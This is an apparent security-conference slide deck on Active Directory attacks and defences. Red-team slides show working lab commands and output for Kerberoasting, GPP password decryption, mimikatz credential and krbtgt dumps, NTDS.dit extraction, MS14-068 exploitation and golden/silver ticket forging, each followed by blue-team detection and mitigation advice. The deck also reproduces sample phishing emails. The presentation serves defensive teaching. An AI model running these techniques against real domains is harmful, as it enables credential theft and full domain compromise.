Red vs. Blue: Modern Active Directory Attacks, Detection, & Protection

Sean Metcalf (@PyroTek3)
CTO, DAn Solutions
sean [@] dansolutions _._com
DAnSolutions.com
ADSecurity.org
Chief Technology Officer - DAn Solutions
Microsoft Certified Master (MCM) Directory Services
Security Researcher / Purple Team
Security Info -> ADSecurity.org
AGENDA

Red Team (Recon, Escalate, Persist)

Blue Team (Detect, Mitigate, Prevent)
CVS and Walmart Canada Are Investigating a Data Breach
Massive breach at health care company Anthem Inc.

21 Carefirst Blue Cross Breach Hits 1.1M

17 Premera Blue Cross Breach Exposes Financial, Medical Records

How the Sony Breach Changes Cybersecurity
Richard Bejtlich and Shuman Ghosemajumder Say the Key Is Limiting Damage

09 Anthem Breach May Have Started in April 2014

Neglected Server Provided Entry for JPMorgan Hackers
By MATTHEW GOLDSTEIN, NICOLE PERLROTH and MICHAEL CORKERY DECEMBER 22, 2014 8:41 PM
Perimeter Defenses Are Easily Bypassed

Message for you, Sir!
We are happy to inform you that our online store HomeDepot.com has an order that could be placed in any local store of HomeDepot.com within the next few days. Here is the order:

- **Appliances**
- **Bath**
- **Appliances**
- **Electronics**
- **Flooring**
- **Outdoor**

Open this link to see full information about your order.

Our blessings to you on a Thanksgiving Day!
HomeDepot.com

---

**Anthem BlueCross BlueShield**

Cyber Attack Against Anthem

Dear Anthem Client,

We wanted to make you aware of a data breach that may have affected your personal health information and credit card data. The data which was accessed may impact clients who made credit or debit card payments for healthcare or who got treatment during the year 2014.

Your trust is a top priority for Anthem, and we deeply regret the inconvenience this may cause. The privacy and protection of our clients' healthcare information is a matter we take very seriously and we are working diligently to resolve the incident.

To subscribe to a free year of credit card account protection please click on the link below and follow the instructions that will be required:

[Click Here To Get Your Free Year Of Credit Card Protection](#)

---

Source: KrebsonSecurity.com
Verizon DBIR: 2014 Breach Statistics

60%
ATTACKERS ARE ABLE TO COMPROMISE AN ORGANIZATION WITHIN MINUTES.

23% / 11%
OPEN PHISHING MESSAGES / CLICK ON ATTACHMENTS.

50%
OPEN E-MAILS AND CLICK ON PHISHING LINKS WITHIN THE FIRST HOUR.

99.9%
EXPLOITED VULNERABILITIES WERE COMPROMISED MORE THAN A YEAR AFTER THE CVE WAS PUBLISHED.
About half of CVEs had PoCs in <1 month

95%
MALWARE TYPES SHOWED UP FOR LESS THAN A MONTH,

70 - 90%
MALWARE SAMPLES ARE UNIQUE TO AN ORGANIZATION.

20%
Incidents related to insider threat

Source: Verizon Data Breach Investigation Report 2015
http://www.verizonenterprise.com/DBIR/
Red Team (Offense)
Attacker Goals

- Data Access
- Exfiltration
- Persistence

Privilege escalation if needed
PowerShell Overview

- Dave Kennedy: “Bash for Windows”
- PowerShell.exe only an entry point into PowerShell

<table>
<thead>
<tr>
<th>PowerShell</th>
<th>Desktop OS</th>
<th>Server OS</th>
</tr>
</thead>
<tbody>
<tr>
<td>Version 2</td>
<td>Windows 7</td>
<td>Windows 2008 R2</td>
</tr>
<tr>
<td>Version 3</td>
<td>Windows 8</td>
<td>Windows 2012</td>
</tr>
<tr>
<td>Version 4</td>
<td>Windows 8.1</td>
<td>Windows 2012 R2</td>
</tr>
<tr>
<td>Version 5</td>
<td>Windows 10</td>
<td>Windows 2016</td>
</tr>
</tbody>
</table>
PowerShell Weaponized

- PowerSploit
- Nishang
- PowerUp
- Empire
  *(PowershellEmpire.com)*
“SPN Scanning” Service Discovery

- SQL servers, instances, ports, etc.
  - `MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433`
- Exchange Client Access Servers
  - `exchangeMDB/adsmsEXCAS01.adsecurity.org`
- RDP
  - `TERMSERV/adsmsEXCAS01.adsecurity.org`
- WSMan/WinRM/PS Remoting
  - `WSMAN/adsmsEXCAS01.adsecurity.org`
- Hyper-V Host
  - `Microsoft Virtual Console Service/adsmsHV01.adsecurity.org`
- VMWare VCenter
  - `STS/adsmsVC01.adsecurity.org`
SPN Scanning for MS SQL Servers

<table>
<thead>
<tr>
<th>Domain</th>
<th>lab.adsecurity.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>ServerName</td>
<td>adsMSSQL02.lab.adsecurity.org</td>
</tr>
<tr>
<td>Port</td>
<td>9834</td>
</tr>
<tr>
<td>Instance</td>
<td>9834</td>
</tr>
<tr>
<td>ServiceAccountDN</td>
<td>{CN=svc-adssQLSA,OU=TestServiceAccounts,DC=lab,DC=adsecurity,DC=org}</td>
</tr>
<tr>
<td>OperatingSystem</td>
<td>{Windows Server 2008 R2 Datacenter}</td>
</tr>
<tr>
<td>OSServicePack</td>
<td>{Service Pack 1}</td>
</tr>
<tr>
<td>LastBootup</td>
<td>3/8/2015 1:07:25 AM</td>
</tr>
<tr>
<td>OSVersion</td>
<td>{6.1 (7601)}</td>
</tr>
<tr>
<td>Description</td>
<td>{Production SQL Server}</td>
</tr>
<tr>
<td>SrvAcctUserID</td>
<td>svc-adssQLSA</td>
</tr>
<tr>
<td>SrvAcctDescription</td>
<td>SQL Server Service Account</td>
</tr>
</tbody>
</table>

Discover-PSMSSQLServers
SPN Scanning for Service Accounts

Find-PSServiceAccounts
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts

SPN Directory:
http://adsecurity.org/?page_id=183
Cracking Service Account Passwords (Kerberoast)

Request/Save TGS service tickets & crack offline.

✧ “Kerberoast” python-based TGS password cracker.
✧ No elevated rights required.
✧ No traffic sent to target.
Kerberoast: Request TGS Service Ticket


Id : uuid-928a50ae-f8e-44ee-9b26-0ddd40e83266-2
SecurityKeys : (System.IdentityModel.Tokens.InMemorySymmetricSecurityKey)
ValidFrom : 6/12/2015 12:21:49 AM
ValidTo : 6/12/2015 11:21:49 AM
ServicePrincipalName : MSSQL/adsdb01.lab.adsecurity.org:1433

PS C:\> klist

Current LogonId is 0:0x30a265
Cached Tickets: (2)

#0
Client: JoeUser @ LAB.ADSECURITY.ORG
Server: krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: AES-256-CBC-HMAC-SHA1-96
Ticket Flags: 0x40b00000 -> forwardable renewable initial pre_authenticate name canonicalize
End Time: 6/12/2015 22:21:49 (local)
Renew Time: 6/18/2015 21:21:49 (local)
Session Key Type: AES-256-CBC-HMAC-SHA1-96

#1
Client: JoeUser @ LAB.ADSECURITY.ORG
Server: MSSQL/adsdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMAC(SUM)
Ticket Flags: 0x40b00000 -> forwardable renewable pre_authenticate name canonicalize
End Time: 6/12/2015 22:21:49 (local)
Renew Time: 6/18/2015 21:21:49 (local)
Session Key Type: RSADSI RC4-HMAC(SUM)
Kerberoast: Save & Crack TGS Service Ticket

mimikatz(powershell) # kerberos::list /export

[00000000] - 0x00000012 - aes256_hmac
  Server Name : krbtgt/LAB.ADSECURITY.ORG @ LAB.ADSECURITY.ORG
  Client Name : JoeUser @ LAB.ADSECURITY.ORG
  Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  * Saved to file : 0-40e10000-JoeUser@krbtgt-LAB.ADSECURITY.ORG-LAB.ADSECURITY.ORG.kirbi

[00000001] - 0x00000017 - rc4_hmac_nt
  Server Name : MSQL/adsdb01.lab.adsecurity.org:1433 @ LAB.ADSECURITY.ORG
  Client Name : JoeUser @ LAB.ADSECURITY.ORG
  Flags 40a10000 : name_canonicalize ; pre_authent ; renewable ; forwardable ;
  * Saved to file : 1-40a10000-JoeUser@MSQL-adsdb01.lab.adsecurity.org-1433-LAB.ADSECURITY.ORG.kirbi

root@kali:/opt/kerberoast# python tgsrepcrack.py wordlist.txt MSQL.kirbi
found password for ticket 0: SQL_P@55w0rd#! File: MSQL.kirbi
All tickets cracked!
Blue Team Response: TGS Password Cracking

Detection (noisy):
- Event ID 4769: A Kerberos service ticket was requested

Mitigation:
- Service Account passwords >25 characters
- Use (Group) Managed Service Accounts
Group Policy Preferences Credential Storage

The private key is publicly available on MSDN

2.2.1.1 Preferences Policy File Format
   2.2.1.1.1 Common XML Schema
   2.2.1.1.2 Outer and Inner Element Names and CLSIDs
   2.2.1.1.3 Common XML Attributes
   2.2.1.1.4 Password Encryption
   2.2.1.1.5 Expanding Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.

The 32-byte AES key is as follows:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
Exploiting Group Policy Preferences

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\n
```xml
<?xml version="1.0" encoding="utf-8" ?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
  - <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (built-in)" image="2" changed="2015-02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}"
    <Properties action="U" newName="ADSAdmin" fullName="" description=""
      cpassword="RI133B2Wl2CiOcau1DttrTe3wdFwzCiWB5PSAxXMDstchJt3bLOue0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ"
      changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)" expires="2015-02-17" />
  </User>
</Groups>
```

PS C:\temp> Get-DecryptedCpassword 'RI133B2Wl2CiOcau1DttrTe3wdFwzCiWB5PSAxXMDstchJt3bLOue0BaZ/7rdQjugTonF3ZWAKa1iRvd4JGQ #Super@Secure&Password$2015?'
Blue Team Response: Exploiting GPP

Detection:

- XML Permission Denied Checks
  - Place xml file in SYSVOL & set Everyone:Deny
  - Audit Access Denied errors
- GPO doesn’t exist, no legit reason for access

Mitigation:

- Install KB2962486 on every computer used to manage GPOs
- Delete existing GPP xml files in SYSVOL containing passwords
Pivoting with Local Admin

- Using GPP Credentials
- Connect to other computers using ADSAdmin account
- Compromise Local Admin creds = Admin rights on all
- Always RID 500 – doesn’t matter if renamed.
- Mimikatz for more credentials!
Blue Team Response: Local Admin

Detection:
– Local admin account logon

Mitigation:
– Use Microsoft LAPS (or similar) for automatic local admin password change.
– Deploy KB2871997 on all systems & disallow local account logon across network via GPO.
– Limit workstation to workstation communication.
– Implement network segmentation.
Mimikatz: The Credential Multi-tool

- Dump credentials
  - Windows protected memory (LSASS). *
  - Active Directory Domain Controller database. *
- Dump Kerberos tickets
  - for all users. *
  - for current user.
- Credential Injection
  - Password hash (pass-the-hash)
  - Kerberos ticket (pass-the-ticket)
- Generate Silver and/or Golden tickets
- And so much more!
Dump Credentials with Mimikatz

### User

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Username</td>
<td>Hansolo</td>
</tr>
<tr>
<td>Domain</td>
<td>ADSECLAB</td>
</tr>
<tr>
<td>Password</td>
<td>Falcon99!</td>
</tr>
</tbody>
</table>

### Service Account

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Username</td>
<td>svc-SQLDBEngine01</td>
</tr>
<tr>
<td>Domain</td>
<td>ADSECLAB</td>
</tr>
<tr>
<td>NTLM</td>
<td>269c0f5a23be862df306c1982b10</td>
</tr>
<tr>
<td>SAM</td>
<td>68d055e5c56b9149282b2bb</td>
</tr>
<tr>
<td>kerberos</td>
<td>5eb9f626bb694f321fbb58be19a419822b2bb</td>
</tr>
<tr>
<td>spn</td>
<td>LAB.ASECURITY.ORG</td>
</tr>
<tr>
<td>password</td>
<td>ThisIsAGoodPassword99!</td>
</tr>
</tbody>
</table>

---

I saw your credentials!
Kerberos “Double Hop” Issue
Kerberos Unconstrained Delegation

Delegation is a security-sensitive operation, which allows services to act on behalf of another user.

- Do not trust this computer for delegation
- Trust this computer for delegation to any service (Kerberos only)
- Trust this computer for delegation to specified services only
  - Use Kerberos only
  - Use any authentication protocol

Services to which this account can present delegated credentials:
Discover Servers Configured with Delegation

```
PS C:\Windows\system32> Import-Module ActiveDirectory
Get-ADComputer -Filter {((TrustedForDelegation -eq $True) -AND (PrimaryGroupID -eq 515))} -Properties
   TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description

<table>
<thead>
<tr>
<th>Description</th>
<th>DistinguishedName</th>
<th>DNSHostName</th>
<th>Enabled</th>
<th>Name</th>
<th>ObjectClass</th>
<th>ObjectGUID</th>
<th>SamAccountName</th>
<th>servicePrincipalName</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>CN=ADSDB01,OU=Servers,OU=Systems,DC=lab,DC=adsecurity,DC=org</td>
<td>ADSDB01.lab.adsecurity.org</td>
<td>True</td>
<td>ADSDB01</td>
<td>computer</td>
<td>6bd00906-eb69-4415-9f69-f6694602bba1</td>
<td>ADSDB01$</td>
<td>{WSMAN/ADSDB01.lab.adsecurity.org, WSMAN/ADSDB01, TERMSRV/ADSDB01, TERMSRV/ADSDB01.lab.adsecurity.org...}</td>
</tr>
<tr>
<td></td>
<td>TrustedForDelegation</td>
<td>True</td>
<td>TrustedToAuthForDelegation</td>
<td>False</td>
<td>UserPrincipalName</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```

Kerberos Unconstrained Delegation

1. AS REQ (request TGT)
2. AS REP (receive TGT)
3. TGS REQ (present TGT, request TGS)
4. TGS REP (receive TGS)
5. AP REQ (present TGS for access)
   TGS contains user’s TGT!
6. TGS REQ
   (present user’s TGT for TGS)
7. TGS REP
   (TGS based on user’s TGT)
minikatz<commandline> # sekurlsa::tickets /export

Authentication Id : 0 : 167402 (00000000:00000000:00000000:00028dca)
Session : Network from 0
User Name : LukeSkywalker
Domain : ADSECURITY
Logon Server : (null)
SID : S-1-5-21-1583770191-140008445-326828411-1109

* Username : LukeSkywalker
* Domain : LAB.ADSECURITY.ORG
* Password : (null)

Group 0 - Ticket Granting Service
Group 1 - Client Ticket?

Group 2 - Ticket Granting Ticket


Service Name (0x2) : krbtgt@LAB.ADSECURITY.ORG
Target Name (0x1) : krbtgt@LAB.ADSECURITY.ORG
Client Name (0x1) : LukeSkywalker@LAB.ADSECURITY.ORG
Flags 0x10000 : name canonicalize; pre_authenticate; renewable; forwardable; forwarable;
Session Key : 0x00000012 - aes256_hmac
f4e4c8d3793242d8e8bda8d1008e74f6b15be4b138b0d04e7917a5f1d5d75c
Ticket : 0x00000012 - aes256_hmac
kwn : 0x00000012 - kwn

* Saved to file [0;28de1-2-0-60a1000-LukeSkywalker@krbtg-LAB.ADSECURITY.ORG.kirbi]

minikatz<commandline> # kerberos::ptt [0;28de1-2-0-60a1000-LukeSkywalker@krbtg-LAB.ADSECURITY.ORG.kirbi]

minikatz<commandline> # exit
Bye!
P$ C:\temp\> klist

Current LogonId is 0x02b3d7
Cached Tickets: <1>

#0 Client: LukeSkywalker@LAB.ADSECURITY.ORG
Server: krbtgt/LAB.ADSECURITY.ORG@LAB.ADSECURITY.ORG
Exploiting Kerberos Delegation

```bash
PS C:\temp\> Enter-PSSession -ComputerName ADSDC02.lab.adsecurity.org
[adsdc02.lab.adsecurity.org]: PS C:\Users\LukeSkywalker\Documents> c:\temp\mimikatz\Mimikatz "privilege::debug" a::krbtgt" exit

mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 29 2015 23:55:17)

Benjamin DEPLY 'gentilkiwi' < benjamin@gentilkiwi.com >
http://blog.gentilkiwi.com/mimikatz

with 15 modules */ ***/

mimikatz<commandline> # privilege::debug
Privilege '20' OK

mimikatz<commandline> # sekurlsa::krbtgt

Current krbtgt: 6 credentials
  * rc4_hmac_nt : 1a33736fd25ad06dd9c61310173bc326
  * rc4_hmac_old : 1a33736fd25ad06dd9c61310173bc326
  * rc4_md4 : 1a33736fd25ad06dd9c61310173bc326
  * aes256_hmac : 20d?c5ce8e6e8e79e86ec8bb8ac2a81b2ed432f8b32141c5f7104e69e
  * aes128_hmac : 2433f1c6d10a2d466d94ff983a625956
  * des_cbc_md5 : f1f82968baaf1f13?
```
Blue Team Response: Kerberos Delegation

Detection:
– Delegation events

Mitigation:
– Only use Kerberos Constrained Delegation
– Disable delegation for admin accounts
Dumping AD Domain Credentials

- Get access to the NTDS.dit file & extract data.
  - Copy AD database from remote DC.
  - Grab AD database copy from backup.
  - Get Virtual DC data.
- Dump credentials on DC (local or remote).
  - Run Mimikatz (WCE, etc) on DC.
  - Invoke-Mimikatz on DC via PS Remoting.
Finding NTDS.dit on the Network

- Are your DC backups properly secured?
- Domain Controller storage?
- Who administers the virtual server hosting virtual DCs?
- Are your VMWare/Hyper-V host admins considered Domain Admins?

*Hint: They should be.*
Dump LSASS Process Memory
### Dump AD Credentials with Mimikatz

```plaintext
mimikatz(powershell) # lsadump::samrpc /patch
Domain : ADSECLAB / S-1-5-21-1473643419-774954089-2222329127

<table>
<thead>
<tr>
<th>RID</th>
<th>User</th>
<th>LM</th>
<th>NTLM</th>
</tr>
</thead>
<tbody>
<tr>
<td>000001f4 (500)</td>
<td>Administrator</td>
<td></td>
<td>6f40d9c1cbbf73d298d1c3d94163543d</td>
</tr>
<tr>
<td>000001f5 (501)</td>
<td>Guest</td>
<td></td>
<td></td>
</tr>
<tr>
<td>000001f6 (502)</td>
<td>krbtgt</td>
<td></td>
<td>7e2a0e20b51c02229f2489210b6576ede</td>
</tr>
<tr>
<td>000003e8 (1000)</td>
<td>admin</td>
<td></td>
<td>7c08d63a2f48f045971bc2236ed3f3ac</td>
</tr>
<tr>
<td>00000452 (1106)</td>
<td>LukeSkywalker</td>
<td></td>
<td>177af8ab46321ceef22b4e8376f2dba7</td>
</tr>
<tr>
<td>00000453 (1107)</td>
<td>HanSolo</td>
<td></td>
<td>269c0c63a523b2e062dfd861c9b82818</td>
</tr>
<tr>
<td>00000454 (1108)</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
```
NTDSUtil?

```powershell
PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
Creating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMEC$\ntds
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} is already mounted.
Initiating DEFragmentation mode...
Source Database: C:\$SNAP_201503242343_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\temp\Active Directory\ntds.dit

                           Defragmentation   Status (% complete)
                                      |----|----|----|----|----|----|----|----|----|----|
                                      ....................................
Copying registry files...
Copying c:\temp\registry\SYSTEM
Copying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
```
Dump Password Hashes from NTDS.dit

root@kali:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -nt ds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f313875531b01e41a749186116575b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nt_hash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 6xc8e1e7a6a057df166a8dfb9b86c98c
[*] Reading and decrypting hashes from /opt/ntds/ntds.dit
ADSDC02$::2101:aad3b435b51404eaaad3b435b51404ee:eaac459f6064fe03b734a1890c9704e:::
ADSDC01$::1600:aadb3435b51404eaaad3b435b51404ee:466c1c11513e3a9886710696f7f0e58:::
ADSDC05$::1104:aadb3435b51404eaaad3b435b51404ee:aabbc5e3df7bf11eead18b07aa65d89b:
ADSDC04$:1105:aadb3435b51404eaaad3b435b51404ee:846c1a91dada67b5b65b1927e629f27:
Guest::501:aadb3435b51404eaaad3b435b51404ee:31d6fe0d16a9311b73c59d7e0089c0:::
Administrator:500:aadb3435b51404eaaad3b435b51404ee:7c0863e2f48f045971bc2236ed3f3ac:::
krbtgt:502:aadb3435b51404eaaad3b435b51404ee:8a271aaccdd1a51e251758021e2d178a:::
lab.adsecurity.org\Admin:1103:aadb3435b51404eaaad3b435b51404ee:7c0863e2f48f045971bc2236ed3f3ac:::
lab.adsecurity.org\LukeSkywalker:2601:aadb3435b51404eaaad3b435b51404ee:177af8ab46321eef2b4e8376f2dbaf7::
lab.adsecurity.org\HarSolo:2602:aadb3435b51404eaaad3b435b51404ee:269c0c63a623b2e062fd801c9b2818:::
lab.adsecurity.org\JcUser:2605:aadb3435b51404eaaad3b435b51404ee:7c0863e2f48f045971bc2236ed3f3ac:::
lab.adsecurity.org\DSwKWIN$:2606:aadb3435b51404eaaad3b435b51404ee:76553133c63b5dfffacffa666b75fdd::
lab.adsecurity.org\ServerAdmin:2697:aadb3435b51404eaaad3b435b51404ee:7989e40d5487f4827204fdd60b63cd:::
lab.adsecurity.org\Nathaniel.Morris:2608:aadb3435b51404eaaad3b435b51404ee:fd4d01e4db2c8480491f5b70ee2f1f6::
lab.adsecurity.org\Madison.Martinez:2609:aadb3435b51404eaaad3b435b51404ee:fd4d01e4db2c8480491f5b70ee2f1f6::
lab.adsecurity.org\Kaitlyn.Allen:2610:aadb3435b51404eaaad3b435b51404ee:fd4d01e4db2c8480491f5b70ee2f1f6::
lab.adsecurity.org\Isabella.Wilson:2611:aadb3435b51404eaaad3b435b51404ee:fd4d01e4db2c8480491f5b70ee2f1f6::
lab.adsecurity.org\Diana.Austin:2612:aadb3435b51404eaaad3b435b51404ee:fd4d01e4db2c8480491f5b70ee2f1f6::
lab.adsecurity.org\Kayla.Evans:2613:aadb3435b51404eaaad3b435b51404ee:fd4d01e4db2c8480491f5b70ee2f1f6::
Over Pass the Hash

- Use the NTLM password hash to get Kerberos ticket(s)
Kekeo Tool: DCSync

Benjamin Delpy @gentilkiwi · 22h
Moar Keys! #dcsync #keeko
* Supplemental Credentials (Kerb)
* FQDN, domain & short name support
Blue Team Response: Credential Theft

Detection: *Difficult*

Mitigation:
- Protect DC backups & storage
- Protect admin credentials
- Admins only logon to specific systems
- Limit Service Account rights/permissions
- Set all admin accounts to “sensitive & cannot be delegated”
- Separate Admin workstations for administrators (locked-down & no internet).
MS14-068: (Microsoft) Kerberos Vulnerability

- MS14-068 (CVE-2014-6324) Patch released 11/18/2014
- Domain Controller Kerberos Service (KDC) didn’t correctly validate the PAC checksum.
- Effectively re-write user ticket to be a Domain Admin.
- Own AD in 5 minutes

http://adsecurity.org/?tag=ms14068
c:\temp\pykek>ms14-068.py -u bobafett@lab.adsecurity.org -p Password!! -s 8-1-5-21-1473643419-774954089-22223 29127-1617 -d adsvc02.lab.adsecurity.org
[+] Building AS-REQ for adsvc02.lab.adsecurity.org... Done!
[+] Sending AS-REQ to adsvc02.lab.adsecurity.org... Done!
[+] Receiving AS-REP from adsvc02.lab.adsecurity.org... Done!
[+] Parsing AS-REP from adsvc02.lab.adsecurity.org... Done!
[+] Building TGS-REQ for adsvc02.lab.adsecurity.org... Done!
[+] Sending TGS-REQ to adsvc02.lab.adsecurity.org... Done!
[+] Receiving TGS-REP from adsvc02.lab.adsecurity.org... Done!
[+] Parsing TGS-REP from adsvc02.lab.adsecurity.org... Done!
[+] Creating cache file 'TGT_bobafett@lab.adsecurity.org.cache'... Done!
nimikatz(commandline) # kerberos:ptc c:\temp\pykek\TGT_bobafett@lab.adsecurity.org.cache
Principal : <B1> : bobafett ; @ LAB.ADSECURITY.ORG

Data @
Start/End/MaxRenew: 2/8/2015 7:54:10 PM ; 2/9/2015 5:54:10 AM ; 2/15/2015 7:54:10 PM
Service Name <B1> : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Target Name <B1> : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
Client Name <B1> : bobafett ; @ LAB.ADSECURITY.ORG
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key 0x00000017 - rc4_hmac_md5
Ticket : 0x00000000 - null ; knt = 2
* Injecting ticket : OK

nimikatz(commandline) # exit
Bye!
c:\Temp\pykek>net use \\adsvc02.lab.adsecurity.org\admin$
The command completed successfully.
MS14-068 Kekeo Exploit

PS C:\temp\keeko> .\ms14068.exe /domain:lab.adsecurity.org /user:JoeUser /password:Password99! /ptt

.########.  MS14-068 POC 1.1 (x86) release "Kiwi en C" (Apr 19 2015 00:51:32)
.## ^ ##.  ***
.## ( / ##  Benjam DELPY ‘gentilkiwi’ < benjamin@gentilkiwi.com >
.## v ##  http://blog.gentilkiwi.com < ae.eo>
.## ***   ... with thanks to Tom Maddock & Sylvain Monne * * */

KDC] ‘ADS\DC01.lab.adsecurity.org’ will be the main server
[AUTH] Impersonation
[KDC] 3 server(s) in list
[SID/RID] ‘JoeUser & lab.adsecurity.org’ must be translated to SID/RID

user : JoeUser
domain : lab.adsecurity.org
password : ***
sid : $-1-5-21-1583770191-140008446-3268284411
rid : iid1
key : ?c00d63a2f48f0d5971bc2236ed3f3ac < rc4_hmac_nt>
ticket : ** Pass The Ticket **
 [level 1] Reality  < AS-REQ>
 [level 2] Van Chase  <PAC TIME>
 * PAC generated
 * PAC """"signed"""
 [level 3] The Hotel  <TGS-REQ>
 [level 4] Snow Fortress  <TGS-REQ>

* ADS\DC01 : KDC_ERR_SUBTYPE_NOSUPPORT (15)
* ADS\DC02 : [level 5] Limbo ! <KRB-CREDED> : * Ticket successfully submitted for current session

Auto inject BREAKS on first Pass-the-ticket

PS C:\temp\keeko> net use \\adsdc02.lab.adsecurity.org\admin
The command completed successfully.
User to Admin in 5 Minutes?
Blue Team Response: MS14-068

Detection:
- IDS Signature for Kerberos AS-REQ & TGS-REQ both containing “Include PAC: False”

Mitigation:
- Patch servers with KB3011780 before running DCPromo – patch the server build.
- Check patch status before running DCPromo

PS C:\> Get-Hotfix KB3011780

<table>
<thead>
<tr>
<th>Source</th>
<th>Description</th>
<th>HotFixID</th>
<th>InstalledBy</th>
<th>InstalledOn</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADSDC01</td>
<td>Security Update</td>
<td>KB3011780</td>
<td>ADSECLAB\ADSAdmin...</td>
<td>6/29/2015 12:00:00 AM</td>
</tr>
</tbody>
</table>
Golden Ticket (Forged TGT) Communication

3. TGS REQ (present TGT, request TGS)
4. TGS REP (receive TGS)

5. AP REQ (present TGS for access)
6. AP REP (optional, used when mutual authentication is requested)
Golden Ticket Limitation

🎨 Admin rights limited to current domain.
🎨 Doesn’t work across domains in Forest unless in EA domain.

```
mimikatz(commandline) # kerberos::golden /admin:Administrator /domain:resource.lab.adsecurity.org /id:s-1-5-21-2242142109-4128614026-4135338336 /krbtgt:488b468d8bc43615a1425c6a735e85bb /startoffset:0 /endin:600 /renewmax:10000 /ptt
User : Administrator
Domain : resource.lab.adsecurity.org
SID : $-1-5-21-2242142109-4128614026-4135338336
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 488b468d8bc43615a1425c6a735e85bb - rc4_hmac_nt
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KerbCred generated

Golden ticket for 'Administrator @ resource.lab.adsecurity.org' successfully submitted for current session
```
```
mimikatz(commandline) # exit
```
```
PS C:\temp\mimikatz> net use \ads2dc12.resource.lab.adsecurity.org\admin$
The command completed successfully.
PS C:\temp\mimikatz> net use \adsdc03.lab.adsecurity.org\admin$
The password is invalid for \adsdc03.lab.adsecurity.org\admin.
```
Golden Ticket – More Golden!

✦ Mimikatz now supports SID History in Golden Tickets
Silver Ticket (Forged TGS) Communication
Silver Ticket: Domain Controller Exploitation

• Attacker dumped AD & has all domain creds.
• Corp IT changed all user, admin, and service account passwords (and KRBTGT pw 2x).
• Attacker still has Domain Controller computer account password hashes.

What is possible with these?
Silver Ticket: Domain Controller Exploitation

```
User : LukeSkywalker
Domain : LAB.ADSECURITY.ORG
SID : S-1-5-21-1387203482-2957264255-828990924
User Id : 2601
Groups Id : *513 512 520 518 519
ServiceKey : eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service : cifs
Target : adsdc02.lab.adsecurity.org
-> Ticket : ** Pass The Ticket **
  * PAC generated
  * PAC signed
  * EncTicketPart generated
  * EncTicketPart encrypted
  * KrbCred generated

Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted for current session
mimikatz(commandline) # exit
Bye!
```
Silver Ticket: Domain Controller Exploitation

```
PS C:\temp\mimikatz> copy c:\temp\Invoke-Mimikatz.ps1 \\adsdc02.lab.adsecurity.org\c$\windows\temp
PS C:\temp\mimikatz> dir \\adsdc02.lab.adsecurity.org\c$\windows\temp

Directory: \\adsdc02.lab.adsecurity.org\c$\windows\temp

<table>
<thead>
<tr>
<th>Mode</th>
<th>LastWriteTime</th>
<th>Length</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>d----</td>
<td>3/15/2015 12:15 AM</td>
<td>1</td>
<td>DMI2083.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI21EA.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI25E2.tmp</td>
</tr>
<tr>
<td>a----</td>
<td>2/16/2015 2:27 AM</td>
<td>0</td>
<td>DMI433E.tmp</td>
</tr>
<tr>
